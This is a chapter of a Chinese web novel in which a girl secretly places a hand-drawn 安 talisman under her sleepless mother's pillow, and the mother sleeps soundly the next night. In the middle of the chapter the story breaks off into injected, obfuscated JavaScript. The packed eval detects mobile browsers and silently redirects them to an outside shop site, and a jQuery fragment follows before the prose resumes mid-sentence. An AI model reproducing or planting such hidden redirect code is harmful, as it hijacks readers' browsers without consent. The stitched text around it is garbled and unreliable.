一
母亲最近睡不好。
张清是偶然发现的。有天夜里她起来上厕所，经过母亲房间时听到里面的动静。翻身，叹气，又翻身，又叹气。她站在门口听了一会儿，至少翻七八次身，中间还起来喝了一次水。
第二天吃早饭，母亲脸上挂着青黑的眼圈，精神不太好。张清问她是不是没睡好，她说没事，就是天冷了睡不踏实。
"年纪大了，觉少。"母亲端着搪瓷碗喝了口稀饭，眼皮耷拉着。
张清没再问。但她注意到，这已经是连续第三天了。
第一天她以为是偶然。冬天嘛，被窝凉，翻几次身正常。第二天也没太在意，母亲说不舒服她就信了。第三天，母亲切菜时差点切到手，菜刀磕在案板边上，咣当一声，把她自己也吓了一跳。张清正在旁边写作业，抬头看了一眼，母亲的手在发抖。
她心里开始不踏实了。
母亲四十出头，身体一直不算好。父亲走得早，家里里里外外全靠她一个人撑着。白天下地干活，晚上缝补衣裳，一年到头没有闲的时候。年轻时候还能扛，这两年明显不如从前了。入冬之后更严重，天冷，关节疼，夜里翻来覆去睡不着。白天又要忙，精神越来越差。
张清想帮母亲。
这个念头冒出来的时候，她先想到的不是符箓。她想到的是热水袋。镇上供销社卖过一种橡胶热水袋，灌上热水塞被窝里，暖和。但上个月就卖完了，售货员说要等下个月进货。
她又想到给母亲熬碗姜汤。姜汤驱寒，喝了身上暖和，也许能睡好一点。但姜汤的效果也就是一阵子，喝完暖和，后半夜该醒还是醒。而且姜要花钱买，家里不宽裕，母亲平时连鸡蛋都舍不得吃，全留给张清。
她还想到把自己的被子给母亲加一层。但她的被子也不厚，两个人盖一条还不如各盖各的。
然后她想到了"安"字。
图录第四章，专门讲"安"字的笔意要领。师父的批注写得很清楚："安者，定也。心定则神安，神安则眠稳。"
她练过"安"字。图录里的五个基础字，"清"字练得最多，其次就是"安"字。但练笔是练笔，画符是画符，中间还差着好大一截。她连用朱砂画真正的符都没试过，更别说用墨汁了。
但"安"字的"应"她已经能感觉到了。而且"安"字的笔意她比任何字都熟，因为"安"这个意思，她太需要了。
一个有"应"的"安"字，能不能让人睡个好觉？
张清不确定。但她想试试。就算没用，也不会有坏处。一张写了字的黄纸，塞在枕头底下，能有什么坏处？最坏的结果就是什么用都没有，母亲该睡不着还是睡不着。那也不比现在更差。
二
那天晚上，张清关上自己房间的门，在桌上铺了一张黄纸。
台灯的光拧到最暗，刚好照亮桌面。母亲已经睡了，隔壁没有动静。窗外的风刮得窗纸沙沙响。
墨汁。毛笔。悬腕。
她闭上眼睛，先把"安"字的笔意在脑子里过了一遍。
这是她第一次画符。以前练笔是练笔，画符是画符，中间隔着一道坎。练笔只需要写好一个字，感受到"应"就行。画符是要让"应"留在纸上，变成一个有用的东西。图录上写的"成符之始"，就是这个意思。从"有应"到"成符"，中间差的那一步，张清说不清是什么，但她知道今晚要迈过去。
宝盖头要稳，底下的"女"要柔。稳是定，柔是顺，定而不僵，顺而不散。这是图录里写的。师父在旁边批注了一行："安字难在稳柔并存。太稳则僵，太柔则散。分寸在手腕上。"
张清睁开眼，落笔。
第一笔，点。墨汁落在黄纸上，她用了"送"的方式，把笔意从笔尖送出去。不是往下压，是往前送。点虽小，意要足。一个小点送出去，"应"来了，很轻，但确实有。
第二笔，横。宝盖头的横，要平，要稳，要盖住下面。这横是"安"字的屋顶，屋顶不稳，下面的人怎么安？她一横送出去，墨色在纸上留下一道不粗不细的痕迹，边缘略有洇散，但笔意到了。"应"比第一笔强一点。
第三笔、第四笔、第五笔，宝盖头完成。五笔写完，"应"聚成了一小团，贴在纸面上，不肯散。
然后是底下的"女"字。撇，点，撇，横。
"女"字要柔。柔不是软，是顺。顺着自己的笔意走，不较劲，不硬来。张清写"女"字的时候放慢了速度，每一笔都送得很轻，怕用力过猛把"柔"写成了"僵"。
最后一个横画收笔，张清放下笔。
整个过程用了将近十分钟。一个"安"字，七笔，十分钟。用朱砂写同样一个字，一分钟就够了。墨汁慢，因为每一笔都要"送"，送比压费劲得多。但慢有慢的好处，慢了才能把笔意送足，送足了"应"才留得住。
"应"从纸面上浮起来，贴着她的指尖停留了一秒，散了。
比朱砂弱。但比她预想的强。她以为墨汁画出来的"安"字，"应"会很微弱，弱到几乎感觉不到。实际上，这股"应"虽然不强，但有分量。沉甸甸的，不飘。
张清低头看着黄纸上那个黑乎乎的"安"字。不好看。笔画粗细不匀，墨色深浅不一，宝盖头写得有点歪，"女"字的撇不够舒展。跟她用朱砂写的完全是两个档次。
但"应"在。
她把纸拿起来，对着台灯照了照。黄纸薄，光透过来了，墨字在光里显得更黑了。就是一张写了字的黄纸，看不出什么特别的。
张清把纸折好，攥在手里，出了房间。
三
母亲的房门虚掩着。张清侧耳听了听，里面有翻身的动静，还没睡着。
她轻轻推开门。门轴没响，她前两天刚给门轴滴了点菜油，专门挑的这个时候用。
屋里没开灯，只有窗户外面的一点雪光。煤炉早灭了，屋里跟外头差不多冷。母亲侧躺在床上，被子裹得很紧，缩成一团。枕头是那种荞麦皮填的，又硬又厚，用了好多年了，枕套洗得发白。
张清走到床边，把折好的黄纸塞进枕头套底下。纸薄，塞进去之后从外面完全看不出来。她的手碰到枕头里的荞麦皮，硌手。
她站直身子，看了母亲一眼。
母亲闭着眼，眉头微皱，嘴唇抿得很紧。睡不好的人就是这样，连睡着的时候都放松不下来，浑身绷着劲，随时准备醒过来。被子只盖了半截，另一半滑到了腰间。张清犹豫了一下，伸手把被子往上拉了拉，盖住母亲的肩膀。母亲动了一下，没醒。
张清退出房间，轻轻带上门。门轴响了一声，她停住，听了听，母亲没醒。
回到自己屋里，她坐在床边，想了很久。
她不确定这个"安"字有没有用。图录上说"安者，定也"，但图录上没有写过"安"字能治失眠。她练的是笔意，不是药方。一个有"应"的"安"字，到底能做什么，她心里没底。
图录第三章
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809249|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说"笔意者，心意外化也"。心有所感，意有所动，笔有所应。那么反过来，"应"留在纸上，能不能影响别的东西？图录没明说，但第九章有一句"安为用"，"用"就是拿来用的。安字的笔意是安定，安定放在枕头底下，能不能让睡觉的人安定一点？
也许什么用都没有。也许那张纸塞在枕头底下，跟塞一张废纸没有区别。也许那个"应"微弱到根本影响不了什么。
但万一有用呢。
张清躺下来，闭上眼。她今天的精神力消耗不小，画"安"字比练"清"字累多了，因为"安"字的笔画更多，结构更复杂，每一笔都要送足笔意。脑子发沉，很快就睡着了。
四
第二天早上，张清被母亲叫醒的。
"起来吃饭了，都几点了。"
母亲的声音比前几天亮了不少。不是那种强打精神的声音，是真亮。张清揉着眼睛坐起来，看到母亲已经把早饭摆好了，稀饭、咸菜、两个馒头。煤炉上铁皮壶咕嘟咕嘟响着，屋里暖和了不少。
她偷偷看了看母亲的脸。
眼圈还是有一点青，但比前几天淡了。眉头没皱着，嘴角带着一点笑意。动作也利索了，端碗放筷子不拖泥带水，不像前几天那样慢吞吞的，手也不抖了。
"昨晚睡得怎么样？"张清假装随口问了一句。
"还行。"母亲把搪瓷碗推到她面前，"也不知道怎么回事，昨晚一躺下就睡着了，一觉到天亮。好久没睡这么踏实了。"
张清低下头喝稀饭，没说话。稀饭烫，她吹了吹，小口小口喝。心里却翻了个个儿。
母亲已经好几天没睡好觉了，昨晚忽然就睡踏实了。巧合？也许。但她做不到不去想那个"安"字。
"可能是昨天累了，"母亲自顾自地说，"你爸在的时候老说，累了一天睡得最香。"
张清"嗯"了一声。她没法接这个话。母亲不知道枕头底下有张纸，不知道那张纸上的字是她写的，更不知道那个字里有一丝她送进去的"应"。这些事她谁都不能说。师父在的时候就教过她一条规矩：能做的不说，说了的不做。符箓这种东西，用了就用了，不要跟人解释，不要邀功，不要说破。
母亲永远不会知道昨晚那个"安"字的事。张清也不打算让她知道。
"你今天是不是还去砖窑？"母亲问。
"嗯。"
"那你早点去早点回，天冷，别待太晚。"
"知道了。"
张清把稀饭喝完，拿了个馒头，背上书包。母亲又叮嘱了一句："手套戴上，别冻着。"张清从门后拿了双线手套揣兜里，推门出去了。走到院子里，她停了一下，回头看了一眼母亲房间的窗户。
窗台上结了霜，白茫茫的。
她不知道昨晚那个"安"字到底起了多大作用。也许真的是母亲累了一天自然睡好了。也许那个"应"微弱到根本影响不了什么。也许全是巧合。
但她选择相信不是巧合。
不是因为她确定了什么，而是因为——
她手里只有这一门手艺。
师父走了，图录还在。朱砂收起来了，笔还在。她练了半年的笔意，找到了"送"的方法，用墨汁画出了第一个"安"字。这些东西不用，就白练了。用了，有没有用是一回事，试不试是另一回事。
张清转过头，踩着积雪朝砖窑走去。馒头咬在嘴里，凉的，但嚼着嚼就热了。雪还在下，落在肩上，她没掸。